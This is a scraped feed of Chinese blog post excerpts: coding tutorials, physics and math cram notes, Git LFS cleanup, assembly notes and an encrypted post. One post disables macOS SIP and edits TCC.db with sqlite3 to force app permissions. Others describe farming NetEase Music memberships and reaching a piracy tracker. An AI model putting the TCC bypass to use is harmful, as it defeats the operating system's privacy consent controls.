FontSize(Int(VBA.Rnd * 5) + 1) R_Character.Font.Position = Int(VBA.Rnd * 3) + 1 R_Character.Font.Spacing = 0 Next Application.ScreenUpdating = True For Each Cur_Paragraph In ActiveDocument.Paragraphs Cur_Paragraph.LineSpacing = ParagraphSpace(Int(VBA.Rnd * 5) + 1) Next Application.ScreenUpdating = True

2022/3/20
articleCard.readMore

python之requests

前言 参考链接: 123 request是python爬虫的一个基本的库,功能十分齐全。 下面对一些常用的方法进行说明: (response—-指接受返回的响应) url:发送请求到链接. params:携带的参数. headers:头部信息. Data:携带的json参数 cookie:用于网页认证,不要填错,单独添加. requests.get(url, params,headers) requests.post(url,data,headers) requests.raise_for_satus 如果状态码不是200,这个方法可以抛出异常 response.encoding 返回信息的编码格式 response.apparent_encoding 解析返回数据是什么编码格式,一般使用方式 respons.encoding = response.apparent_encoding 通常用在爬取中文的网页,防止乱码 respnse.json() 获取返回回来的json数据 response.text 获取返回回来的html文本信息 response.conent Html响应的二进制信息 常用方法 所有示例都是以Github官网为例 发送请求 发起GET请求; 1 r = requests.get('https://github.com/') 发起POST请求; 1 r = requests.post('https://github.com/',data = {'key':'value'}) 其他 HTTP 请求类型:PUT,DELETE,HEAD 以及 OPTIONS 1 2 3 4 r = requests.put('https://github.com/', data = {'key':'value'}) r = requests.delete('https://github.com/delete') r = requests.head('https://github.com//get') r = requests.options('https://github.com/get') 查看请求头 查看GET请求的响应头为例,POST请求同理: 1 r.request.headers 查看请求头的某一属性:(大小写不影响) 1 2 r.request.headers['Accept-Encoding'] r.request.headers.get('user-agent') 查看响应内容 查看服务器返回页面的内容,以查看GET请求的响应内容为例,POST请求同理: 1 2 r = requests.get('https://github.com/') r.text Requests 会自动解码来自服务器的内容。大多数 unicode 字符集都能被无缝地解码。 请求发出后,Requests 会基于 HTTP 头部对响应的编码作出有根据的推测。当你访问 r.text 之时,Requests 会使用其推测的文本编码。你可以找出 Requests 使用了什么编码,并且能够使用r.encoding 属性来改变它: 1 2 3 >>> r.encoding 'utf-8' >>> r.encoding = 'ISO-8859-1' 二进制响应内容 你也能以字节的方式访问请求响应体,对于非文本请求: 1 >>> r.content Requests 会自动为你解码 gzip 和 deflate 传输编码的响应数据。 例如,以请求返回的二进制数据创建一张图片,你可以使用如下代码: 1 2 3 >>> from PIL import Image >>> from io import BytesIO >>> i = Image.open(BytesIO(r.content)) 传递GET请求参数 GET请求参数作为查询字符串附加在URL末尾,可以通过requests.get()方法中的params参数(dict类型变量)完成。例如,我要构建的URL为https://github.com/?username=jwt&id=1,则可以通过以下代码传递GET请求参数: 1 2 3 4 >>> args = {'username': 'jwt', 'id': 1} >>> r = requests.get('https://github.com/', params = args) >>> print(r.url) https://github.com/?username=jwt&id=1

2022/3/17
articleCard.readMore

大学物理 - 电磁学篇 (速成类)

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源下载: 大学物理习题精选答案.doc 电场强度 求电场强度 E 离散型 连续型 结论型 电通量、高斯定理 电通量 高斯定理求场强 电势、电势能 电势 电势能 电势与电场关系 导体 静电平衡 导体的场强和电势 电容 电容器 电介质/电场能(选学) 电介质中高斯定理 电场能 磁感应强度$\vec{B}$ 毕奥-萨伐尔定律 安培环路定理 磁通量/高斯定理 磁通量、高斯定理 安培力/磁力矩/洛伦兹力 安培力 磁矩、磁力矩 洛伦兹力 磁介质、磁场能(选学) 磁介质中安培环路定理 磁场能量 电磁感应 感生电动势 动生电动势 自感互感(选学) 自感和互感 麦克斯韦方程组

2022/3/17
articleCard.readMore

大学物理 - 光学篇 (速成类)

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源下载: 大学物理习题精选答案.doc 双缝干涉 相干光 光程差 杨氏双缝干涉 薄膜干涉 等倾干涉 上下表面都有半波损失(光疏介质到光密介质)的话,就没有$\frac{\lambda}{2}$这一项.例如下面例题3. 劈尖干涉 牛顿环 迈克耳逊干涉仪 衍射 单缝衍射 光栅衍射 偏振光 马吕斯定律 布儒斯特定律

2022/3/16
articleCard.readMore

大学物理 - 振动与波动篇 (速成类)

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源下载: 大学物理习题精选答案.doc 振动学方程 认识简谐运动 振动学方程 振动的能量及合成 振动的能量 振动的合成 机械波 认识机械波 波动方程 波的能量 波的干涉 驻波 在驻波中,两个相邻波节间各质点的振动 振幅不同 相位相同. 多普勒效应

2022/3/15
articleCard.readMore

如何访问俄罗斯资源网站RuTracker(内附美在乌实验文件)

前言 你知道RuTracker.org是什么网站呢? Rutracker.org(torrents.ru直到 2010 年)是俄罗斯最大的BitTorrent 跟踪器。[1]截至 2022 年 3 月,它拥有 1374 万注册用户,214.1 万个种子(其中 197.5 万个活跃),所有种子的总量为 4.653 PB。[2] 通俗点说,RuTracker是俄罗斯境内最大的盗版网站. 然后在2015年11月,因非法分发受版权保护的作品,莫斯科市法院裁定终身封锁RuTracker,然后列入了封禁名单(即俄罗斯本地网络无法访问该网站)。 既然外网可以访问.那为什么要写这篇文章呢? 正所谓 文章合为时而著 . 正是由于虚假消息的传播,导致网站访问量激增,官方不得不得限制用户访问. 那要怎么做才能访问呢? 答: 使用rutracker.org 官方发布的穿透工具. 教程 能够科学上网的用户 在Chrome中打开此链接🔗并安装 如果你看过概述就知道接下来该怎么做了.本文你可以关闭了. 懒得看或仍然看不懂继续往下看. 安装完后 在Chrome扩展程序中找到刚刚安装的插件并点击详情. 将这个设置为在所有网站上. 方案一(推荐) 在上面截图的下方,点击这个. 方案二 在Chrome插件中找到РуТрекер.点击插件再点击设置(齿轮⚙️一样的图标) 选择这个就设置完成了 听不懂上面说什么的小白用户 先下载点击这里下载РуТрекер.crx 在Chrome浏览器地址栏中输入chrome://extensions/,打开扩展管理页面。或者从选项 -【更多工具】-【扩展程序】,打开扩展管理页面。 打开右上角的【开发者模式】 拖拽插件/扩展的crx文件(这个文件就是第一步叫你下载的文件)到浏览器里面 确认安装.松开鼠标,浏览器弹出提示“要添加XXX插件吗”,点击【添加扩展程序】,安装完成。 安装完后,点击这里查看后续操作 链接 官网 官方浏览器插件 - 常见问题解答、链接

2022/3/14
articleCard.readMore

略谈如何无限期全自动白嫖网易云音乐会员

本文不会把每个步骤都写出来,属于简洁版,部分操作属于基本操作已略去,例如云函数配置等. 本人已有理论永久绿钻,弄网易云音乐理论永久会员只为我的Apple Music添加更多无损资源. Tips:(如需干音)干音提取网站 入驻信息填写 PC端 移动端 填写官方邀请码 pQjR1iF 获取歌曲 下载全面K歌,找别人的翻唱或自己唱. 复制分享链接🔗到浏览器中打开,打开之前先打开该页面控制台中的网络,以便进行网络记录. 按照如图所示获取到歌曲并下载. 转换格式 将m4a转换为wav格式. 打开网站 上传文件. 开始转换. 待转换完成后,点击下载. 重命名为歌曲名. 提交音频 PC端 待审核通过后,进行下一步操作. 年费兑换 PC端打开 点击兑换.如果云豆不够,也没事,下面可以一直白嫖云豆. 配置云函数实现自动白嫖 网易云音乐自动任务 执行成功示例(云函数版):

2022/3/13
articleCard.readMore

最近使用Git LFS仓库的惨痛教训以及hexo d的实现原理等总结

Git LFS相关 遇到问题:在git push的时候遇到个大于100mb的文件,导致推不上去 于是通过Git报错信息中,去GitHub上找到了对应的解决办法. 可是当我弄好LFS后(如果不清楚如何配置Git LFS的话下面会提到),重新push发现依然不行,通过我不懈努力,终于成功解决了这个问题! 接下来是我解决这个问题的经验(这个经验来之不易,花了较多时间,在此总结分享给大家) 由于在最开始commit的时候,就把大于100Mb的文件弄进去了 所以我们的第一个操作就是用 git rest —mixed **(这个需要使用git reflog或git log 命令查询commit之前的hash) 命令返回到commit之前的状态. 然后确保*.gitattributes文件存在且配置正确(配置代码:git lfs track “.psd” 意思是后缀psd的文件传到LFS). 之后就git add . && git commit -m “add .gitattributes” && git push 就OK👌了~ tips: 不会配置 LFS (不知道怎么弄)? 看这个链接🔗: 管理大型文件 hexo d 相关 在弄完博客备份后(也就是解决上面的问题后),发现hexo d 推送不上去(和上面的问题一样). 但在了解原理后,问题也就好解决了. 解决办法: 进入博客目录下的隐藏目录(.deploy_git). 在隐藏目录下配置Git LFS.并按照上面的解决办法解决问题即可. 其他 相关 在弄完Git LFS后,发现博客调用文件下来的是指针,且通过指针获取原文件困难(颇为复杂),且无法(也许是我不知道或没有好的办法)获取原文件的直链🔗用来下载. 故觉得目前LFS对于我来说没啥用. 恰好了解到Gitee上面的仓库的LFS可以直接下载,感觉貌似可以获取直链接🔗,把仓库开源需要绑定手机号,使用Page功能又要身份证等信息来实名制,所以想想这又是国内的服务,所以就算了.没弄了 Gitee和GitHub对于LFS而言,有些少了,1G的存储和每月1G的流量. 但是GitHub上已经在LFS上添加了文件,如何删除呢? 确实有些麻烦.需要我使用 filter-branch 命令或 BFG Repo-Cleaner 从仓库的 Git 历史记录中删除文件. 这显然是比较麻烦的.官方参考解决链接🔗 这里我给大家2个解决问题的链接🔗(有能力建议看,懒的话直接看下面我怎么操作的):1 2 这2个链接都是在讲删除历史记录该怎么操作. 接下来我会开始讲解,开始操作过程中遇到的问题(无论是否按照教程肯定会遇到且网上目前无解决方案)以及如何解决. 懒得讲解了,直接按照我的代码操作,不出意外的话是没有什么问题的.如果按照我这个操作有问题,可以评论区留言或者邮箱告诉我,我会尽力解决你的问题~ 开始操作: 下载bfg.jar 点我开始下载bfg.jar 并将该文件放在一个目录下,例如下载目录. 打开终端terminal 通过命令cd 进入下载目录(这个目录地址取决于第一步). 再执行以下命令. 1 git clone https://github.com/LanYunDev/XXX.git或者git@github.com:LanYunDev/XXX.git(填写你需要删除历史记录的仓库地址) --mirror && java -jar bfg.jar --strip-blobs-bigger-than 100M XXX.git(添加你文件夹的名称,这行代码是删除大于100MB文件记录,使用java -jar bfg.jar -D ‘XX’可以删除XX文件记录) && cd XXX.git && git reflog expire --expire=now --all && git gc --prune=now --aggressive && git config --unset remote.origin.mirror && git push -u origin main -f 代码示例: 1 git clone https://github.com/LanYunDev/Blog_back.git --mirror && java -jar bfg.jar --strip-blobs-bigger-than 100M Blog_back.git && cd Blog_back.git && git reflog expire --expire=now --all && git gc --prune=now --aggressive && git config --unset remote.origin.mirror && git push -u origin main -f 上面的操作可以帮助你删除. 接下来我来说说替代方案. 由于GitHub限制100MB,我们可以将大于100MB的文件通过压缩包分卷的方式来实现上传操作.(我这样做的目的,把GitHub当成了一个微型云盘了.) 另外说说,hexo博客如何添加文件下载功能呢? 只需在source文件中新建一个文件夹,例如命名为Download. 那么在markdown中引用的格式为[点我开始下载](../Download/XXX文件)

2022/3/12
articleCard.readMore

大学高数(下)速成笔记

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源分卷下载: 高数习题全解下册_同济第七版.pdf.7z.001 高数习题全解下册_同济第七版.pdf.7z.002 警告⚠️:本文缺少部分重要知识点,本来可以从我高数书中得以补充本文内容,但由于本人懒,暂时没时间没精力 不想 更新,故本文内容不能涵盖核心. 多元函数 重极限 偏导数,全微分,隐函数求偏导 复合函数求偏导 偏导,连续,可微关系 建议:背诵. 梯度,方向导数 多元函数极值 空间几何向量 向量(点乘、叉乘) 空间平面与直线 空间曲线的切线与法平面 空间曲面的切平面与法线 二重积分 直角坐标下计算 极坐标下的二重积分(大题中必考) 三重积分 直角坐标下计算 柱坐标下计算 柱面坐标系下计算三重积分很重要,屏幕前的小可耐一定要学会噢~ 曲线积分 第一类曲线积分 第二类曲线积分 格林公式 可以看做第二类曲线积分的简便算法 曲面积分 第一类曲面积分 第二类曲面积分 一般不会单独考,在高斯公式中会涉及. 高斯公式 可以看做第二类曲面积分的简单算法,非常常考. 常数项级数 概念 认识级数 审敛法 判别级数收敛与否的方法 交错级数 绝对条件收敛 幂级数 收敛半径、收敛域 和函数 幂级数展开 将函数变成级数

2022/3/10
articleCard.readMore

汇编指令 - 状态寄存器、cmp、test、jz等指令笔记

在学习汇编的时候,碰到一些汇编指令,总是忘记,索性写一篇博客来记录. 状态寄存器(标志寄存器) PSW(Program Status Word)程序状态字(即标志)寄存器,是一个16位寄存器,由条件码标志(flag)和控制标志构成, 如下所示: 条件码: ①OF(Overflow Flag)溢出标志,溢出时为1,否则置0.标明一个溢出了的计算,如:结构和目标不匹配。 ②SF(Sign Flag)符号标志,结果为负时置1,否则置0。 ③ZF(Zero Flag)零标志,运算结果为0时置1,否则置0。 ④CF(Carry Flag)进位标志,进位时置1,否则置0.注意:Carry标志中存放计算后最右的位。 ⑤AF(Auxiliary carry Flag)辅助进位标志,记录运算时第3位(半个字节)产生的进位置。 有进位时1,否则置0。 ⑥PF(Parity Flag)奇偶标志.结果操作数中1的个数为偶数时置1,否则置0。 控制标志位: ⑦DF(Direction Flag)方向标志,在串处理指令中控制信息的方向。 ⑧IF(Interrupt Flag)中断标志。 ⑨TF(Trap Flag)陷井标志。 指令 jz和jnz jz = jump if zero (结果为0则设置ZF零标志为1,跳转) Jnz=jump if not zero # 跳转条件:ZF = 0,即零标志位未被置位 eg: test eax,100b; # b后缀代表二进制 jnz 0Xxxxx(地址); # 如果eax=100b,test返回1(逻辑 与 的结果为1),ZF = 0,jnz将会跳转 test和cmp test普遍用法之一是测试寄存器是否为空. eg: test ecx ecx jz #0Xxxx; 如果ecx = 0,将ZF零标志置为1 (ZF = 1),jz跳转. cmp属于算术运算指令 功能:相当于减法指令(sub),对操作数之间运算比较,不保存结果(与sub区别在这). eg: mov ax,8 mov bx,3 cmp ax,bx 执行后:ax=8,bx=3,ZF=0,PF=1,SF=0,CF=0,OF=0. 通过cmp指令执行后,相关标志位的值就可以看出比较的结果。 cmp ax,bx的逻辑含义是比较ax,bx中的值。如果执行后: ZF=1则AX=BX ZF=0则AX!=BX SF=1则AX<BX SF=0则AX>=BX SF=0并ZF=0则AX>BX SF=1或ZF=1则AX<=BX CPU在执行cmp指令的时候,也包含两种含义:进行无符号运算和进行有符号数运算。 两个有符号数A和B相减,得到的是负数,那么可以肯定A<B 如果是无符号数,看例子. eg: mov ax, a cmp ax, b 无符号的: ja : a >b je : a=b jb a=b jbe a<=b 有符号的: jg a>b je a=b jl a=b jle a<=b 结论: test 逻辑与运算结果为零,就把ZF(零标志)置1; cmp 算术减法运算结果为零,就把ZF(零标志)置1。 对于jz和jnz,查看代码和理解汇编代码时,直接判断test和cmp的运算结果决定是否跳转,至于ZF标记位是系统得知运算结果的标记位。 标志转移 直接标志转移 指令格式 机器码 测试条件 如…则转移 JC 72 C=1 有进位 JNC 73 C=0 无进位 JZ/JE 74 Z=1 零/ JNZ/JNE 75 Z=0 不为零/ JS 78 S=1 负号 JNS 79 S=0 正号 JO 70 O=1 有溢出 JNO 71 O=0 无溢出 JP/JPE 7A P=1 奇偶位为偶 JNP/IPO 7B P=0 奇偶位为奇 间接标志转移 先用cmp指令比较再用下面的判断(少了一个 JE 为等于): 指令格式 机器码 测试格式 如…则转移 JA/JNBE() 77 CZ=0 >/ JAE/JNB() 73 C=0 >=/ JB/JNAE() 72 C=1 </ JBE/JNA() 76 CZ=1 <=/ JG/JNLE() 7F (SO)Z=0 >/ JGE/JNL() 7D SO=0 >=/ JL/JNGE() 7C SO=1 </ JLE/JNG() 7E (SO)Z=1 <=/

2022/3/8
articleCard.readMore

Mac如何为任意应用添加麦克风权限(或其他权限)

前言: 众所周知,Mac系统下的权限管理非常苛刻.一些权限能手动为应用添加,但也有一部分权限是无法为应用手动添加的,这可能与软件的适配有问题,也有可能是应用未向系统发出申请而需要这个权限(来实现某些功能)等等. 出于应用未能及时更新而又需要使用等原因,本文将带你如何解决不可手动为应用添加权限的问题. 总结:System Preferences - Security & Privacy中的一些权限不支持手动添加.这时候需要使用本文的方法主动修改TCC.db文件为应用打开这些权限以保持它们正常工作。 本文以麦克风权限作为示例,其他权限在拓展部分会稍带提示. 注意:本文示例机型CPU为ARM架构,大致信息如图所示. 关闭系统完整性保护(sip) 这个操作并不复杂. 你可以去通过搜索引擎解决,或者用我以下提供的方法 这里提供二个解决方法的链接🔗: ①.苹果 ②.Macwk 查询(或找到)需要添加权限应用的Bundle identifier 对应Mac应用而言. 你只需要做一下步骤: ①打开访达Finder,并找到应用,接着右键点击显示包内容. ②.找到Info.plist,并右键选择合适的软件打开(本人推荐PlistEdit Pro) ③.打开后,(无论你是用什么软件打开),都需要找到Key(键):Bundle identifier 所对应 Value(值) ,并复制它. 打开终端(Terminal)并输入命令 1 sudo sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "INSERT or REPLACE INTO access VALUES('kTCCServiceMicrophone','用你复制的内容替换这句话',0,0,4,1,NULL,NULL,0,'UNUSED',NULL,0,1622199671);" 示例执行: 去安全性与隐私中启用它 接下来你就可以在麦克风权限中找到你的应用并启用它了! 拓展 这部分是为需要添加其他权限所写的. 实际上,上面命令行的作用是修改位于Library/Application Support/com.apple.TCC/TCC.db文件. 如果你有数据软件,可以打开这个文件,就可以看到我们刚刚的修改 例如,你可以通过命令 1 /usr/bin/sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "select * from access" 语法查询来获取应用所启用的权限,结合上面的代码或者使用软件即可添加其他权限. 参考链接🔗 MacBook系统升级到10.15.4后屏幕录制权限无法添加使用 解决Mac 更新完最新系统后,某些功能异常问题 Mac系统怎么添加麦克风权限? macOS Big Sur 第三方应用授权麦克风的问题 Mac 屏幕录制 权限 没有可勾选或添加的App选项 产生原因和解决办法

2022/3/5
articleCard.readMore

大学物理-力学篇(速成类)

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源下载: 大学物理习题精选答案.doc 质点运动学 位移/速度/加速度 题目: $\vec{r}$ $\to$ $\vec{v}$ $\to$ $\vec{a}$ 型 $\vec{a}$ $\to$ $\vec{v}$ $\to$ $\vec{r}$ 型 相对运动 练习题及答案: 原计划是想答案和题分离,但想了想懒得去实现了. 角位移/角速度/角加速度 $\vec{\theta}$ $\to$ $\vec{\omega}$ $\to$ $\vec{\beta}$ 型 $\vec{\beta}$ $\to$ $\vec{\omega}$ $\to$ $\vec{\theta}$ 型 角量与线量关系 练习题及答案: 常见力和牛顿三定律 常见力 牛顿三定律 练习题及答案 动量/冲量/动量守恒 动量定理 动量守恒 习题及答案: 质点运动的功和能 做功 动能定理 保守力、势能 机械能守恒 习题及答案: 刚体转动惯量 认识刚体 转动惯量 平行轴定理 习题及答案: 力矩 转动定理 力矩 转动定理 习题及答案: 角动量、角动量守恒 认识角动量 角动量守恒 习题及答案 刚体转动的功和能 力矩做功 刚体动能定理 刚体机械能守恒 习题及答案:

2022/3/4
articleCard.readMore

记录一些遇到的零散知识等

1d621d107eecb08cb114bf54a2314bea4c1385c8d54519513a3260fd4502277eff41b2a1e9b97e47c0cc3cc6cd2f6e0f6efa9b44557b73035b8a5f77b59b3f4fdb67795e38cb84065e1ab78cda28067878213f2de91c7b830458ec86798e4198133f575b401ab0738e1ccc7d425833ecbc2abf6aba1877c94361cf26b87b6366a457c5495c066edf4e99b9f658c792a11a1eea556edbb715d1973f3f137ef2b42dccfcc9acdaa7d72216fa821bbcef71787f90148fd0c47c88b26b20454e15f944a7df87e59033bb1a227061b7c37e1ece2b4d04b3b9985106b11052ceaba8632d48a0ee4cbc72bd79e5c14cc64e3b857cdf32d2127295685239d3430bcdc606a468f77a9c839018ae6af310440e05747d04cf06c2ad60babf6b8f4acae9874e2afc051f74e00abc787002b9780634ea402407c9926b9e2897d208046d4c1440b09aad28125dc65d1e81d7bba7f9f96b2f9b4c5cef3fbffa1f51454118f6220d64f84f70b5ba7ebd462218a92df9818dfdd1ec1649545ddb807c04218ff37dbfe7526546199651b632e2954a351aca86533a132955ed0751bb731faa44cf05f8c95097789f7addd6d13278ea5ead10eb4a5d5a67d5dbc23eb8c14ba54024639bc314b40cdd98c08ef3ae21635d57894f8c9874f7b05f331ff762ef8c88fe49ad8b45d2831adfbdb69a8d02659c477722a69a0ea165d8497b8550d7c1f01d1abdb3bb02eaf0e3acee9d215706c08610ebdcc29afce062293b2a711bc660cefad51b5775d389fb9e25be6e6b41417d828e263e708387c9ae68534b1537236d650960922095b997ff8478209f37499ebd35ee11443265b4beb87ba1f17ebef22e5f9c65e1ab2dd821732d32c93409b10996de2a26da1cabc4b6d7749905e55796bb17b29b459ebcd48f4d64a7c7e3517e83af5b2cdf12d9366fdc0b6e7f7917a10e48851d1228c10cea97bc5141b0fe564b6b3e5a503e7fe740d23f7f534589e713416c10e8843b259bf49a8b1d94302dbeb790713e8140a57a0d5d0d429adb0c52f9dfef9091cb90762ebc8795a300cc501670d0c87f80893d68f55ab99bf6cdb49a2b546f87276aeac7c0b99fa7f6f774437a860e61479c640201953266269146f0834a511ddcfac82226fa941b466213dcefb9eb1e34bf92cc8773480f3057b796b445a91a7151b2a72f4863b74a83a6715e91e0cba7ad91aa8717788b0761f55d8338b9c031bc6a016ba64c85dedcfe79e3a3cbed0d7a12d4e962047eabb365081a3bdb90b40bf31dc668b7bc77cfbc3f99e1ec6a49c3d99f48ef34fa51e4a8872cc833afd2eb65c25e4665eff5d1f7f5bef93ed6dff0c86791775f3fa4b323356227185bd93a7dc98e411433edc6ade31c02607aae5f10812eecb023e2845fefb5bb6b3710de6f9e2306ad997cd585ecfc9c4d7e78155baa0e5aa06c41c533f582d2ce66922cdb1af20592f69e818926aac21ce447034afb033fbbc2b390573951fce3dd6e42d14698a93a91413dbc8467030b047ab8258b14bcb59693cc2ba6959acdbfc6dbb08958713bd0594f04d24072fef237d6e512ab16f01ca649fc1542a6b0ac591a9d0626dcff75202dce4fd76f2e657bf41cf1e4c7946e352cdbf93b8c51a765989b3943231ae45d8f328afe4d838451c4dc38a6afbfa6613894db325e0e6e9bb4f40755c81ea5aefac6fee1d06a486eb4f7811ec16d80963a463742e08293fa29851442531bbfaffb981c5c52ce99b87ec85f5232e12d63585ff955292dbb8f95d145e6262c4951f4eb7f287b7403dfd318b84ecf10d90ce8f97c2564e862d4a989830f58cd7b3dfc4aaf2eb8e6958e2036a1ea87cefd1f3f568a5a2dd97fa87f234cd7a21eb457a67d8c86ea70faf003ed48b7e5a4b862df61dca2af65d66d73d0769cd4dbab67e3c1d4e5137a928597b032f939a00d0fec49c822cdc1db7dcb1fdc9325ef25f2dadf12e95735af2127e667f59b7d3ae45e47f3cfe4b200ac0ddffceb8971fa3fabde22dc471e1679251b20a3e053075f479b39f3d58f7a4e90975de16825c75ae6fc839ff6bf9ce90e83195c547d26c84a0f532d81be5fab3f30aec657c54ebfc9201b0a0171b8e614bccd80a352d8b67ef813d49cc28df2f7f9f7dc97004b28430c31b2e58772d07f43f61927d42b76bc3178f06736a52a892f20c2b12c154b776295b7559532a9d7ceae35eebf215caca1e863f2d381b7e18745b572fd10d65ccc7f1ff13a99ae308c8283f61e3735e154983434ef0a250c04e13b09a4a5798254c864327c639e2b05fdf1dad953690a685b9c0203371be458bc917eef9d9e0f73652c298ccfdbec7ee6d3ad9d93ac86116d5706dfc8ecdb4eac1cde8a2feaf26c34250212f35d975bce053d1f35fbafbca4736d36f854838c020e460be27db6f7291f4613ee4260d59990a2b4771a48f870ac67d96b4bed243de8b8b9811885bdb6590f4d751cc4977dfb8ddbab9e3e1e42a8ec4ac7f5f49224405872991f0b0867268e54e2db2a01033814fca4dfbdbe5ee9a21ab6a6becd8ececd2eea7df341fd7e95741624d4c7b49f84faba7b7aba313b4d06c35b4217654f4557a430dc06c61fa89fcf3cc58a70c317754269a55539c9f61d3947b0d36c583a4fc2dd7f6271b4e4b60454b01c41f3db6641b506eeb50a88ccdd8bc2715f1e2eea29a708de2a58b7aedb301d4d46d673065c239795c78ed0ac31ef9ea67c8e7b1c0d3a93e0c59ff499f52ea715268b0e4357d93cc1c86a1f85dfacfb894c496601a6a69cc9777dc41ba15be950b6633c9b93780f4bd51bad7441d1b2d79d14093b339fba5e7f91c5f972b849682c0a79445af63ab31406eb9a11f34a7f8270b6b8d5c534c13351cad9824a8402b1546af1fc7abb13baaffa28caf3f29e306e182d9af31520809db5cb4e55b4dd2e86bc918e34ca6757c1b153dc7234ac3f8dc369a49c381eae59b9d6feccae2596972b66a8ac396a6e78bc82c5be8d3fd5819dd99ee92a943868a6cd213c533e364a9d86796f12e97b819702e17fddd8dfeeffc5a95f8541ed6a08dab6f2b5b0b94034a78e83750201b7564840082b41f5bfa1900a906264c52ffe0cc1a7a79c8aabb7508fdd63f2eec84c16cb6d2f774ef0f7629788f512209c5866af1ce4997656619aca10015408e50f54c667b3e5dab63bea774566caabde5e7a0bc66b5aa3be1d14091bd59de566148a2cd2cd2afe3e97cc54651ef1b98b4be5feda25d0b2f6445e00399607ebb0fe4f3ac54bd1917ef904f3b8ae6a906990cccd1c2efc988d196803783b079668548dc99119e56cbaf9e56051b8022be60a4ff8cdeef5542199a68ce38f31dc9ac0151bef9b1d57345fb4c531b85e6d74ec843b7e814c91fb3dceeeaeb5edb437e23cd21b11b708c427244403567d5b426958aa9c547be6628a1cd52eba08e78011faca76674657e2614e833bf4c8e327d72182b6b45a22cb8de72f32538e465a7c96561234ad6ac60c32257c77db103af888bd474a3d233bb1fb0e4f225f2fed38d536f2808052d52ff2d634211e002e4ec2573173ad82a72af14d7df0a5f2cefd6d096afad03af690208b6a1736d1f1c652f0f417fa5e1556f83b20124b24444878388e6b37197ed0c2ca580310e76a87933dfca274a892e4864c6ba9494e805f9c6eb58a7952fffdcf4614eebce7cbdb98ca4c3bbea1f030e7b8ad2d07232e5a4a48b2aae7cb7175e9f24e8ecf9d719b813c9894e66c0c38b0a8fc3ca0af46f270bcdbf10326a2461181e86efac8a9f5c19fca98a61ab6b40716686733ab4e5ae7fa5bf2a4339b9b900e71ba75147c6869444287f25d01a95f0fc1d59bdf78f34da67defb240925e8fb246842e886259bf5986d790dbb6754cb9e6cd4c198ce3e2decd6d57874a62635eaee4b62693acb92ee0001d7fd6fb126a58faef3025a0e91fb351f5851e94898f18c031fb045ca9c677c86ee27492c89b191735b693243f59a3520f753ff2b076f2d42cb41426bb550ad6180d6f3593e7e51be6cfaa34e2f2f192a6d379b671a8db0bd1e32061f35803ea749672c5b13e04d4b8ff137bf7462b9ffc6cd00f064d77ce91e461f9bc13c6709f106fc24b4daca2844ebb1f5604cb3ec47c2881467b7538223ec3215815fdf35e8fa0242a73d25921fa553903e74f8fcb72af3c4d6c7cc7300c6b29eadd39c4e94872ec85ae496b5d7c7cdc8937e4566a3965657d20596053381647221de9ca38053aff6a439c3e1072bd24ffba82b9673d42ba90309257a91b8f3e599d14a29b9119a926cf6c3a16b40f5d70b7971b5f9fc7a8e3fbfa5b28dc34a69c223907ff76caf93f10339c8742a12cdcc21337c9b52b55fb19f70e47a5f39a90dffecc29aad09e7b65b4321e62d2bcf485eb8540dc9ff9cf0775d92129c100106ac9bfc42e5dd29808206b829c5a1de2955832e0ecc842e6e2188d7c2f68bfdc30fe98d2a8070ad99ef7e5e65f86d1ccdc7c1a62dec3feb73f2360b5fbe23c8ba71b3ad8724f5d4a21ab62330a368d4d6415d792f81ddf2a3e049dc5c9b7d29de79f66d4b52b74426567ab009a7fcbfdb46f7fab51ec7b7a55854d536d35f2330f086c2711897f43b75f6f41673999f3b32de5d585fcd21d9294353d614b2c84f39d11a2c4257a56423ba571765a86d5891332b2d78e150761b62bdc3e74cf908da3d27e6aff6ae845b3334c62cc14354d4d32f619f0e22644749e21cd038629768df6f274d644021e6316714cece825edef1fa04e98933f4d2427c8 普朗克常数,玻尔兹曼常数,光速,麦克斯韦方程组等你都知道吗?问题:普朗克长度每普朗克时间(即普朗克单位制)是多少?

2022/1/5
articleCard.readMore

如何阻止外接硬盘自动休眠

